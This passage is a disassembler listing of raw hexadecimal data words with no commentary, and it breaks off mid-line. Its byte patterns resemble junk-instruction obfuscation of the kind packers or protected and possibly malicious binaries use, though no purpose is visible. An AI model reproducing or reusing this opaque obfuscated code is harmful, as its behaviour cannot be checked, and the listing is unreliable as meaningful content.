0FAB70F85h dd 5FF88B56h, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0CA72AC3h, 8BFE8A3Fh dd 48AD73B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 6E4FCA3Dh, 490DBB66h, 3C1858Bh, 81660645h dd 89C4C7EBh, 65B58906h, 8B064509h, 45058985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0B6FFC6BBh, 19858991h, 89064508h, 8D310446h, 6452175h dd 1F659D89h, 0F500645h, 0D8Dh, 8E900h, 0AEA30000h, 0F3B14738h dd 34899767h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0E884C0F8h, 11h, 8970DA4Ah, 0FF3BDA17h dd 0E9B009D5h, 0B0C5AA3Ch, 0A5B509D5h, 5F064506h, 0AD6FB5FFh dd 0B5010648h, 6453319h, 0E991D268h, 0DF8B6680h, 2D240481h dd 6A7F3572h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 5AA6C356h, 0EA394AB5h, 858DF897h dd 648AD77h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0AFC35646h, 61EDFC08h, 0B4A57A7Ah, 0BE6090D4h dd 73790F4Eh, 5061C68Bh, 0BF665756h, 5F5F8F19h, 799D8B90h dd 0FF064512h, 452EAD95h, 3810F06h, 66000000h, 6A61FA8Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 6F58C352h, 5142B8D1h, 0BD038E8Bh, 64528ADh dd 95D85C7h, 30645h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0C6CEF5C3h, 119DBD8Bh dd 0BD830645h, 648AD77h, 35840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 73B8C355h, 63D9E7EEh, 0F1C6177h, 84h, 21E900h, 0BD8B0000h dd 6451359h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0BA7AC352h, 8D895CBCh, 6452115h dd 95DBD83h, 0F030645h, 3B485h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0FA750DCEh dd 0F04DCE5h, 0BD83DBBFh, 648AD77h, 82840F00h, 0BB000003h dd 7F3B00B8h, 0AD77B5FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 9D23F9C3h, 6451C79h dd 6840FF8h, 8B000000h, 4530CDBDh, 0C995FF06h, 6A064510h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0B5C9C350h, 0AD340D87h, 29F4E831h, 4517D9BDh dd 6BB58B06h, 0C70648ADh, 1000106h, 90BB6600h, 8B0F967Eh dd 0 dd 13E850h, 0F12D0000h, 7ED09C22h, 7AA2061Ah, 59307B3Dh dd 0D5DDBE84h, 0E3BFBFEFh, 965B524Bh, 3E381h, 0B5FF3DF5h dd 648AD77h, 175BD8Bh, 95FF0645h, 6450951h, 6810Fh, 0EF810000h dd 38EB554Bh, 0AD6BB58Bh, 8C0F0648h, 2, 858BDF8Bh, 64514EDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CAC35545h dd 8166C088h, 8934DFD7h, 0C486h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 85D22C47h dd 0ADE321CFh, 1169BD8Bh, 958B0645h, 6452A01h, 23499D23h dd 0C2830645h, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0D2C30B13h, 8B35CEA2h dd 450255BDh, 20508906h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 46C35141h, 0DB54BFDCh, 6829AE22h, 56858D8Dh dd 6A0648C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 2B75C355h, 0CF3CFCA9h, 0B159F7Eh dd 4522159Dh, 89F88B06h, 0B886h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B697AE08h dd 30F5D0F9h, 5E8h, 7EC68800h, 5BF98230h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0E4C5E6C3h, 0D88B5F41h, 0AD77B5FFh, 0BF0F0648h, 9195FFDEh dd 8A064525h, 0F5050F8h, 282h, 5FCAB700h, 6A243489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FF28C351h, 48AD77B5h, 0C3816606h, 95FFF791h, 645207Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 7AC35646h dd 0BD83BB33h, 6451955h, 11840F00h, 8B000000h, 45152DBDh dd 0F98A9606h, 0BD899650h, 6451F49h, 0AD77B5FFh, 0BBF0648h dd 0FF63EC89h, 452F2D95h, 0CD9D8B06h, 0FF064530h, 48AD77B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 78E0306Ch, 2AEBD390h, 20359D89h, 95FF0645h dd 6450735h, 1DBD83F8h, 2064530h, 7B840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0E9170BC3h, 8, 2D3E9505h, 88256831h, 4AFCBF66h, 2F51858Bh dd 850F0645h, 4, 4B21BF66h, 6A0000C6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1C30C355h dd 5136DC2Fh, 13E917h, 2E820000h, 357E459Ah, 4008F344h dd 0B86224A2h, 6F09DA7Dh, 0A985C7F8h, 64530h, 8B000000h dd 45150DBDh, 0F333E906h, 0DD8AFFFFh, 0DF81C18Bh, 150856D6h dd 0D99858Dh, 81660645h, 50F033EBh, 66240489h, 6A4FA3BFh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0E6A9E549h, 0C968F598h, 0D781006Ah, 3F3F24EAh dd 6DBD8B60h, 0B4064532h, 858D613Eh, 6495AE8h, 3105C083h dd 4504859Dh, 0CE85006h, 0ED000000h, 0AFB01FCAh, 0EB7B4E51h dd 0BB45CEF2h, 1F080BC3h, 2404895Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0A5C35242h, 4B028BB5h, 0E8ED53F9h dd 5, 3DC087C2h, 8F4FBFF9h, 8B5B019Dh, 452A6DBDh, 80006A06h dd 0BD8B98D3h, 645305Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 95FF9EC3h, 6451749h dd 0C8C0Fh, 8B0F0000h, 6, 13A5BD89h, 8D8D0645h, 6489D99h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 34C35545h dd 46661D5Bh, 0FBB70F0Dh, 6AD1FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0BFB15BC3h, 109D8D89h dd 0BD830645h, 6450025h, 0BC850F01h, 0E8000000h, 6, 1C8274A3h dd 0BF66BE01h, 6A5F273Bh, 53006A02h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 716DEF4Dh dd 0F90E1B0h, 0B8Ah, 58C0F00h, 0BB000000h, 181B790Dh, 14E850h dd 970C0000h, 0ABBE2A94h, 0EB75848Eh, 0BE425FE4h, 8D741473h dd 665189E4h, 5F63EDBFh, 6A905Fh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 9A3F40C3h, 5155CD3Ch dd 495FBF66h, 9195FF5Fh, 6A064525h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5C9AC356h dd 60F90881h, 2A1D9D89h, 0E9610645h, 0DBDh, 0E8h, 0ED815D00h dd 6495AF2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 7AC35646h, 7821A297h, 0D38CD15Bh, 148C0Fh, 0FE90000h dd 0F3000000h, 5702DF86h, 5444715h, 9B21D710h, 858D0251h dd 6488F6Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 53C35545h, 0E3DC2A42h, 2CB99D8Bh, 50900645h, 5B6DBF66h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 815138C8h, 839B0BABh, 14E90D45h, 66000000h dd 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h, 6495CEC2h dd 35FFh, 89640000h, 25h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 52DD3D7Ch dd 32B985FFh, 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0FC66A3C3h, 3F8653h, 6195890Bh dd 6A064524h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0B3A438C5h, 858952F3h, 6451925h dd 0F5B5FF5Bh, 0F064530h, 95FFFFBFh, 6452CE9h, 0D8E9h dd 0B0F900h, 66D9BF0Fh, 70E6F98Bh, 15819589h, 71E40645h dd 31098D89h, 613C0645h, 0B7830Fh, 0B5890000h, 6452F35h dd 8BC8B60Fh, 452291BDh, 6BA06h, 0BD030000h, 6450E21h dd 40BBC18Bh, 0C141CC12h, 810F04E8h, 3, 66F9BF0Fh, 0BB66E2F7h dd 0C82BBACEh, 9FA5BB66h, 6E9D18Bh, 2B000000h, 4500999Dh dd 0B5858B06h, 0E906451Ch, 0Ah, 68312D3Eh, 9C058825h, 0C083B11Dh dd 258D8907h, 83064523h, 70B300C0h, 830FD03Bh, 11h, 0AB5BD33h dd 3AE90645h, 89000000h, 4528759Dh, 0B58D8B06h, 0F8064529h dd 0F01E183h, 2484h, 0D9BF0F00h, 1D99D8Bh, 0A5830645h dd 64529B5h, 0BBDB80FEh, 1CB59589h, 0BD8B0645h, 6451EADh dd 0E9h, 9EB58D00h, 6A0648DEh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 43D6C357h, 291F79FEh dd 6AF0AFh, 0A5C38166h, 2195FFBEh, 6A064531h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0E901C356h, 9, 4EDAB044h, 45873DAEh, 967B919h, 0F88B0000h dd 8BFCE183h, 451271BDh, 9D8BFC06h, 6452F31h, 0B8h, 40DB8000h dd 0BB56D22Bh, 58667D47h, 0C233AD5Bh, 0D003E8D1h, 7504E983h dd 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0DF8F920Fh, 0D2694095h dd 5B509A0h, 8906450Ah, 45125DBDh, 880D06h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 9DFC98C3h, 0B7BD9022h, 1958B74h, 8B06452Ah, 450999BDh dd 0D58D8B06h, 6A064503h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 5017C357h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0A3735BA2h dd 0E71FD7EEh, 0DF819530h, 22140AA5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 4EC35242h, 0BFCAD780h, 63290210h dd 215BD83h, 0F000645h, 5B84h, 3CB8100h, 667E3D9Ch, 0B82EB2BBh dd 0 dd 12E9h, 18A81D00h, 0EEA232E5h, 26870840h, 0ABB68941h dd 8D2F3846h, 454E1C8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 5696BE6Fh, 6B5ED7D7h dd 0BD299441h, 64524C1h, 0DF8BE1FFh, 95DBD83h, 0F000645h dd 4E084h, 14E900h, 0CE4C0000h, 0E83E56BFh, 12F9581Bh dd 7C94919Ah, 0D96978Eh, 0BD83CB4Dh, 645095Dh, 0D5840F01h dd 0E8000004h, 7, 0A9B39A64h, 8AF7A934h, 0BD835BDDh, 645095Dh dd 83860F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0F404C353h, 6AD8FD4Ch dd 60DA8B66h, 18219589h, 56BB0645h, 6613A8E2h, 6AD98Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0B70F26C3h, 4E180DFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0C2C35242h, 0BED7B731h, 321B8A4Eh, 100ABF66h dd 840FC90Ah, 161h, 8CC5C781h, 858B2BF6h, 6450589h, 3382E380h dd 45027585h, 0A870F06h, 60000000h, 11E59D0Bh, 0FB8B0645h dd 60519061h, 10E9h, 71D67B00h, 5372D7CBh, 5B75743Ch, 5CEFF6FCh dd 505F61C4h, 0D8D0Fh, 0F600000h, 8Bh, 9452BF00h, 906165B0h dd 6840F60h, 9000000h, 4507518Dh, 61B3B406h, 17C19D23h dd 6A0645h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 99C35242h, 0A1667E84h, 13D4B26h, 452B2D8Dh, 5E906h dd 338E0000h, 68E2990Fh, 7877A6E8h, 16810Fh, 0EE80000h dd 24000000h, 0AE591A73h, 7BE6ED6h, 0F62BFC1Eh, 5F5F52DCh dd 17243481h, 6A7868A5h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 7F33C355h, 0A65F28CCh dd 6800F9Fh, 33000000h, 45230D9Dh, 0F19D8B06h, 0FF064524h dd 452EAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0FED92876h, 0DB02D37h, 29F57237h dd 452445B5h, 77858906h, 8B0648ADh, 4533199Dh, 238E906h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 295710C3h, 45222D8Dh, 6F858B06h, 0F0648ADh dd 0C7FEBFh, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 5FC35141h, 0ABC65F88h, 8BF85CF6h, 48AD73B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0F3265962h, 840072D2h, 8B6619F7h, 0C1858BD8h, 0F064503h dd 68Ch, 0DDBD8900h, 89064506h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 858BF5AFh dd 6450589h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0C0C35545h, 79731960h, 10A59D8Bh, 46890645h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0BE17CD16h, 0E960618Eh, 8, 0FF071597h, 1F153F01h, 2D9D8953h dd 5A064503h, 87BB5061h, 8915DE13h, 6A2434h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3CA4E3C3h dd 0D02ADD7h, 47BF4F81h, 0FF0A6737h, 48AD6FB5h, 188C0F06h dd 0E9000000h, 13h, 1980141Fh, 68A80D53h, 0EAF4BA02h, 0DA267E44h dd 0F327264h, 187h, 1968FC00h, 8174EE8Ch, 8FE62434h, 6A74F1h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0BBC9F4C3h, 8DF2D875h, 48AD7785h, 12E906h, 0B00E0000h dd 14447824h, 4640CC97h, 16528537h, 8B310E8Ch, 50F88A90h dd 0BE853h, 6CEE0000h, 0A13AAF93h, 38AC54B2h, 5F5B5125h dd 6A905Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 7E062EC3h, 95FFD88Bh, 6452EADh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 7BC35646h, 0CAF2AFBBh dd 124141AEh, 6D18E381h, 810F07BDh, 6, 26D9D8Bh, 6A610645h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 4E50C350h, 0DE9B584h, 0A7000000h, 0A87175EAh dd 255D79DCh, 0DDAB92Bh, 95D85C7h, 30645h, 95290000h, 645023Dh dd 0AD77BD83h, 0F000648h, 3984h, 59BD2300h, 2906451Eh dd 4533059Dh, 43E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8B7E0DC3h, 4522D99Dh dd 0C3816606h, 3050CC33h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 63C02D07h, 8B661B0Ch dd 2DBD89F8h, 0E806452Ah, 13h, 24A943F7h, 0BAE51063h, 43E30F1Dh dd 0D19BA1F5h, 0E911A84Ch, 0Bh, 79C0E39Eh, 0D2B27F39h dd 5B84289Bh, 95DBD83h, 0F030645h, 41585h, 77BD8300h, 648ADh dd 408840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0E00EADC3h, 28362576h, 4D8D3199h dd 0FF064510h, 48AD77B5h, 198D2906h, 0FF064507h, 4510C995h dd 0D7EF8106h, 8B28DF8Fh, 48AD6BB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 5E87F58h, 6F000000h dd 667B1BD9h, 2BE1BD01h, 0C75B0645h, 1000106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8953BB45h, 4504F595h, 85895F06h, 6452F0Dh, 2BF6650h dd 243489A6h, 0B5FFD88Bh, 648AD77h, 197D9D8Bh, 95FF0645h dd 6450951h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 5BC35242h, 6976CC2Dh, 0AD6BB58Bh, 0BF660648h, 858BB8D8h dd 64514EDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 3FC35343h, 2E832E3Dh, 0E95CE829h, 10h, 7790BCCEh dd 44BFCC84h, 71CFD53Dh, 7C7D52E2h, 0C48689h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 24DA66C3h, 0BD8C41Ah, 8B6AC1D6h, 452A0195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 8FCE5C99h, 9D23523Bh, 6452B85h, 14CDBD8Bh, 0C2830645h dd 0F98B6604h, 3281BD8Bh, 50890645h, 10E920h, 0F3200000h dd 3A5FCCA4h, 0EC756771h, 0FE6645D2h, 0FE808A6h, 7A000000h dd 6FA38225h, 7595E2B2h, 0D45BCD92h, 12E9C4A1h, 55000000h dd 0C7AD5AAEh, 0E6689C5Ah, 1ABA9029h, 1CE034FAh, 858D5FFFh dd 648C156h, 5E8h, 64669B00h, 8D89EE3Eh, 6450185h, 0B886895Fh dd 3000000h, 4521A59Dh, 0B3006A06h, 77B5FF0Ah, 6A0648ADh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0FAB6C357h dd 0ED3571D8h, 0FF795140h, 45259195h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 6129093Ch, 6050F99Eh, 5B616051h, 89612CB6h, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 72EC15C3h, 852F3BAAh, 8589BB1Ah, 645031Dh, 77B5FFF9h dd 0F90648ADh, 0FFFEBF0Fh, 45207D95h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 14EE8E75h, 8C82CF81h, 0BD830D7Ah, 6451955h, 45840F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0A442C353h, 1D9D9589h, 0E8500645h dd 10h, 8BF9D37Eh, 7435AE76h, 173C648Ch, 0BA10577h, 895BDE8Bh dd 8D892434h, 6452E8Dh, 0AD77B5FFh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0B7689EC3h dd 2D95FFB5h, 2906452Fh, 452F29B5h, 0C7816606h, 0B5FF6093h dd 648AD77h, 73595FFh, 8D090645h, 64523B1h, 6E8h, 0ABD5B100h dd 8B706B1Fh, 4517399Dh, 0BD835B06h, 645301Dh, 59840F02h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 9650C356h, 8BF872C0h, 452F5185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0CE9C3h, 7DCB0000h, 0E87D26FBh, 1B3EDB50h dd 0EB80A846h, 0C624h, 30A985C7h, 645h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 1565A4C3h, 0DE9h, 58150E00h, 0FC4D2463h, 16558560h dd 68E9E3EDh, 81FFFFF3h, 0C39852DBh, 9C18B57h, 450B8D9Dh dd 99858D06h, 6606450Dh, 8888E381h, 0A577BF90h, 665030DBh dd 905A84BFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 3C35141h, 6850FD0h, 31000000h, 45027185h, 75DB8106h dd 6A6CE6A2h, 0A664BB00h, 6A197Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 54C35242h, 55858D8Bh, 8306496Ah dd 9D8B05C0h, 64506DDh, 10E890h, 42560000h, 3E68A4CFh dd 6DFD6B8Ah, 0B275B587h, 0BB667EC0h, 505F0636h, 5800Fh dd 17BF0000h, 905E4CEDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 76C35545h, 0B70F88A7h, 6A006AF8h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 76D5C356h, 9006A80h, 451CFD85h, 4995FF06h, 6A064517h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0BAF7C350h, 60DBD89h, 0E3800645h, 998D8DD2h dd 6A06489Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 52C8C355h, 0BCE2C35Bh, 592DB81h dd 8B606AFBh, 452F1D95h, 61ACB106h, 8166D1FFh, 83FE09D3h dd 450025BDh, 850F0106h, 48h, 6E8h, 0ECAA2D00h, 52F05199h dd 5BFEB70Fh, 66026A5Fh, 6650DF8Bh, 89FE1CBFh, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8D894DC3h, 6452B65h, 259195FFh, 0DD8A0645h, 0E79E9h dd 0E800h, 815D0000h, 496A5FEDh, 0BD853106h, 8B064532h dd 4506099Dh, 858DFC06h, 6488F6Dh, 505BFC57h, 0BAF4BF66h dd 0F240489h, 148Eh, 0CE85600h, 4000000h, 0CFB18B32h, 0D676039Dh dd 5B1AFD46h, 0FE8B665Fh, 35FF64h, 81000000h, 66A5EEF3h dd 25896406h, 0 dd 12559589h, 85FF0645h, 64532B9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0E3C35040h, 73F4C9B7h, 75BD8BEAh dd 6A06452Fh, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 995D45D3h, 14E96000h, 66000000h dd 1B2FF190h, 0FA3ED861h, 0EE12A590h, 28F6EFF0h, 61DB8C59h dd 2A29B5FFh, 0B5890645h, 6451E19h, 2CE995FFh, 0F4E90645h dd 66000000h, 0B0FE8Bh, 70E6D98Bh, 2CCB8166h, 6671E480h dd 41B1EF81h, 830F613Ch, 0D7h, 0C8C0Fh, 880F0000h, 6, 2AF9BD8Bh dd 0B60F0645h, 0E59D8BC8h, 8B064524h, 45139DBDh, 6BA06h dd 0BD090000h, 64509F9h, 8166C18Bh, 0C15B70DBh, 9D8B04E8h dd 64511C9h, 66E2F766h, 5FFCF381h, 870FC82Bh, 8, 28D0Fh dd 5F530000h, 9D89D18Bh, 6452305h, 0BE9h, 2C30BF00h, 0BD8931CCh dd 645061Dh, 2C95858Bh, 9D890645h, 645082Dh, 5107C083h dd 7658D31h, 835B0645h, 0BF6600C0h, 0D03B09B1h, 16830Fh dd 0AE90000h, 47000000h, 85039A94h, 0EED2396h, 31E920h dd 0C3B70000h, 23018D8Bh, 8B660645h, 1E183F8h, 1D840Fh dd 85010000h, 645044Dh, 2301A583h, 8BFE0645h, 959589FAh dd 6606452Ch, 0E9DE8Bh, 8D000000h, 48E9A7B5h, 89FFBB06h dd 6A03F3h, 0CAD8589h, 8B660645h, 2195FFFBh, 0F064531h dd 158Eh, 0F8C0F00h, 0E9000000h, 0Ah, 3D0918FCh, 114B7A08h dd 0C7815EC9h, 4EA46514h, 7CEB9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 97F3E1E2h dd 99B5BFA5h, 0E1831B1Dh, 10840FFCh, 0E9000000h, 0Bh, 220E7F65h dd 246C1923h, 0FCD8E904h, 1CB18D89h, 0B80645h, 0BB000000h dd 78F1B696h, 0BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0DB95D0D9h, 7782F18Dh dd 4DB52986h, 0AD064520h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 861BC353h, 8AC94537h, 5BDF81BCh, 8B273AFEh dd 450D799Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0DF8B572Bh, 880D5Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0C48EEBC3h, 958BF98Ch, 6452A01h, 8BF9B70Fh, 4503D58Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0E8ADB5CFh, 6E9FF160h, 0C4DB8166h, 0E59D295Ah dd 50064528h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 9B589E5h, 8B064524h, 15BD83F9h, 64502h dd 90840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 211D0CC3h, 258B2661h, 9735949h dd 450799B5h, 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0AE9575C3h, 9589C59Ah dd 645209Dh, 4E1C8D8Dh, 6A0645h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 29372AC3h, 451251BDh dd 65B58906h, 0FF06450Bh, 3800FE1h, 66000000h, 0BD83DF8Bh dd 645095Dh, 7840F00h, 6A000005h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 7609C353h dd 6C0AEE8Ch, 9D03AC2Fh, 645042Dh, 0C5858960h, 89064525h dd 4504A585h, 0BD836106h, 645095Dh, 0DE840F01h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0BB8DC351h, 7CF37889h, 9D98589h, 0BD830645h dd 645095Dh, 74860F03h, 89000004h, 450BCDB5h, 11E906h dd 5ED00000h, 842E24EEh, 63C6E795h, 8B73C3FAh, 604FC930h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 75C35747h dd 0DA8B665Ah, 0F8D98C66h, 6A04E180h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 9BFAC351h dd 0BCD1EBB0h, 0C90A11B7h, 1D2840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 3E3A4AC3h dd 589858Bh, 0BD8B0645h, 64531ADh, 2758533h, 6A0645h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 12D815C3h, 0BE96663h, 42000000h, 0C5F9057Fh, 0EB4B44CDh dd 6050D4E2h, 6E8h db 0, 13h word_584F4E dw 0F58Ch ; DATA XREF: ___:00436834o a_s db 'Τ+.ι',0Dh,0 align 4 dd 2646A7Dh, 84EEFEDEh, 181080D5h, 44BB5EBDh, 6126DA82h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0AAFEC350h, 6A0386DFh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 